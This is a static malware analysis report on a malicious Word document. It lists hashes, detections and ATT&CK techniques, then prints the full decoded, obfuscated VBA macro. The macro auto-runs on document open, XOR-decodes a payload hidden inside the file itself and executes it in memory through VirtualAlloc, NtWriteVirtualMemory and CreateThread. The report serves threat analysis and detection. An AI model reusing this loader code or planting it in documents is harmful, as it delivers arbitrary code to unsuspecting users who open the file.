Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a59a54aed2a1cee7…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-07-24 19:32:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 7c5a209b7f6637b832c688e6b028c958 SHA-1: f1f85c60174a279a133a7397df5d16f061e762f8 SHA-256: a59a54aed2a1cee7653287c85a5cf5241beddba2de2d86a20114e13103c777d8
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute arbitrary code. This behavior strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    ajfOXvqlkvDYAYzhFidt
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4770 bytes
SHA-256: a4f7bfc64cf60b91f4e41975f8fd55e3064519db9600ff981d79792652676181
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function ptYbZB Lib "kernel32" Alias "CreateThread" (ByVal wFIubOddXqP As Long, ByVal YYhVVKtjEF As Long, ByVal jRrAkViyGlilQp As LongPtr, SbCUPgmRVIFqJUHaIRmyCJnSh As Long, ByVal SiZQMqGfRsHKPmXZwSFFyDZk As Long, uERniNJMaodSfVpKE As Long) As LongPtr
Private Declare PtrSafe Function nvnCqojPqsLORIEXXOX Lib "kernel32" Alias "VirtualAlloc" (ByVal EcNYglYke As Long, ByVal mEWSiWri As LongPtr, ByVal eVHYqwzhvrrPY As Long, ByVal NkUTMe As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal urUdUKIyLNStLPoXdwBGeDSMsnAj As LongPtr, ByVal ndEevKENUwMRIJEzwnoyn As LongPtr, ByVal wkxSRyhLGjyRyKnopfKkjaPPv As String, ByVal onWamLtwHtHDTfFiPCsQlUlhXi As LongPtr, ByRef dHwvIwXkUPFXNxbcTHMmFFak As LongPtr) As LongPtr
#Else
Private Declare Function ptYbZB Lib "kernel32" Alias "CreateThread"  (ByVal wFIubOddXqP As Long, ByVal YYhVVKtjEF As Long, ByVal jRrAkViyGlilQp As Long, SbCUPgmRVIFqJUHaIRmyCJnSh As Long, ByVal SiZQMqGfRsHKPmXZwSFFyDZk As Long, uERniNJMaodSfVpKE As Long) As Long
Private Declare Function nvnCqojPqsLORIEXXOX Lib "kernel32" Alias "VirtualAlloc" (ByVal EcNYglYke As Long, ByVal mEWSiWri As Long, ByVal eVHYqwzhvrrPY As Long, ByVal NkUTMe As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal urUdUKIyLNStLPoXdwBGeDSMsnAj As Long, ByVal ndEevKENUwMRIJEzwnoyn As Long, ByVal wkxSRyhLGjyRyKnopfKkjaPPv As String, ByVal onWamLtwHtHDTfFiPCsQlUlhXi As Long, ByRef dHwvIwXkUPFXNxbcTHMmFFak As Long) As Long
#End If

Const yYZnmVCqGkmlIkJnmFynCTHfD = &H1000
Const tzwwGj = &H40

Public Sub ajfOXvqlkvDYAYzhFidt()
    Dim zvWsxdgQLATXKYcQkXqxXbvdKee() As Byte

    zvWsxdgQLATXKYcQkXqxXbvdKee = NOIvWzyXeSPFepvUmuBr(ActiveDocument.FullName)
    Dim OaLFzLBNivzrkuzVJbPZwrulNV As String
    OaLFzLBNivzrkuzVJbPZwrulNV = StrConv(zvWsxdgQLATXKYcQkXqxXbvdKee, 64)
    
    Dim yZSHtYmcKOoyZxpHOxZnDBAuJofwx
    yZSHtYmcKOoyZxpHOxZnDBAuJofwx = Split(OaLFzLBNivzrkuzVJbPZwrulNV, "DAZUZFetUVUPNVcqIzICUBKWjqaqyHsMcgiETIuIsXcKlyTrAygDNArbPcKIFOUmDhNGNywaeajXzZLLwJPZBPYBPgORXLdDdPheKnDbcg")

    Dim zSDMdOpOgtXsOgvDQBhK As String
    Dim YgyEpNaLeVrgoQ As String
    Dim bAhNKRZIDhGsFwirkjfARFoAR As String
    YgyEpNaLeVrgoQ = StrConv(StrConv(yZSHtYmcKOoyZxpHOxZnDBAuJofwx(UBound(yZSHtYmcKOoyZxpHOxZnDBAuJofwx)), 64), 128)
    bAhNKRZIDhGsFwirkjfARFoAR = Mid$(YgyEpNaLeVrgoQ, 3, Len(YgyEpNaLeVrgoQ))

    zSDMdOpOgtXsOgvDQBhK = DrZUnm("NrtCPrZmVYULOilRHJE", bAhNKRZIDhGsFwirkjfARFoAR)
    
    #If VBA7 Then
        Dim KeypcBrbYWPWGKkh As LongPtr
        Dim BYlgoErUKkBdU As LongPtr
    #Else
        Dim KeypcBrbYWPWGKkh As Long
        Dim BYlgoErUKkBdU As Long
    #End If

    KeypcBrbYWPWGKkh = nvnCqojPqsLORIEXXOX(0, Len(zSDMdOpOgtXsOgvDQBhK), yYZnmVCqGkmlIkJnmFynCTHfD, tzwwGj)
    BYlgoErUKkBdU = NtWriteVirtualMemory(-1, KeypcBrbYWPWGKkh, zSDMdOpOgtXsOgvDQBhK, Len(zSDMdOpOgtXsOgvDQBhK), 0)
    BYlgoErUKkBdU = ptYbZB(0, 0, KeypcBrbYWPWGKkh, 0, 0, 0)
End Sub

Public Function NOIvWzyXeSPFepvUmuBr(ByVal rFqkN As String) As Byte()
    Dim YgyEpNaLeVrgoQ As Long
    Dim bAhNKRZIDhGsFwirkjfARFoAR() As Byte
    YgyEpNaLeVrgoQ = FreeFile
    If LenB(Dir(rFqkN)) Then
        Open rFqkN For Binary Access Read As YgyEpNaLeVrgoQ
        ReDim bAhNKRZIDhGsFwirkjfARFoAR(LOF(YgyEpNaLeVrgoQ) - 1&) As Byte
        Get YgyEpNaLeVrgoQ, , bAhNKRZIDhGsFwirkjfARFoAR
        Close YgyEpNaLeVrgoQ
    Else
        Err.Raise 53
    End If
    NOIvWzyXeSPFepvUmuBr = bAhNKRZIDhGsFwirkjfARFoAR
    Erase bAhNKRZIDhGsFwirkjfARFoAR
End Function

Public Sub Document_Open()
    ajfOXvqlkvDYAYzhFidt
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function DrZUnm(jpeixdCYxUxJuvpVD As String, XjqYvmHV As String) As String
    Dim nIIITuRvgdjMgCCuLRRx As Long
    Dim ovwNqdkkUSACwopOmDpDa As String
    Dim StuRGOEKu As Integer, hrWpUTAKRAsFqJVswjKaUdODEV As Integer, a As Long

    For nIIITuRvgdjMgCCuLRRx = 1 To Len(XjqYvmHV)
        a = nIIITuRvgdjMgCCuLRRx Mod Len(jpeixdCYxUxJuvpVD)
        If a = 0 Then a = Len(jpeixdCYxUxJuvpVD)
        
        StuRGOEKu = Asc(Mid$(XjqYvmHV, nIIITuRvgdjMgCCuLRRx, 1))
        hrWpUTAKRAsFqJVswjKaUdODEV = Asc(Mid$(jpeixdCYxUxJuvpVD, a, 1))
        ovwNqdkkUSACwopOmDpDa = ovwNqdkkUSACwopOmDpDa + Chr(StuRGOEKu Xor hrWpUTAKRAsFqJVswjKaUdODEV)
    Next nIIITuRvgdjMgCCuLRRx
    
   DrZUnm = ovwNqdkkUSACwopOmDpDa
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.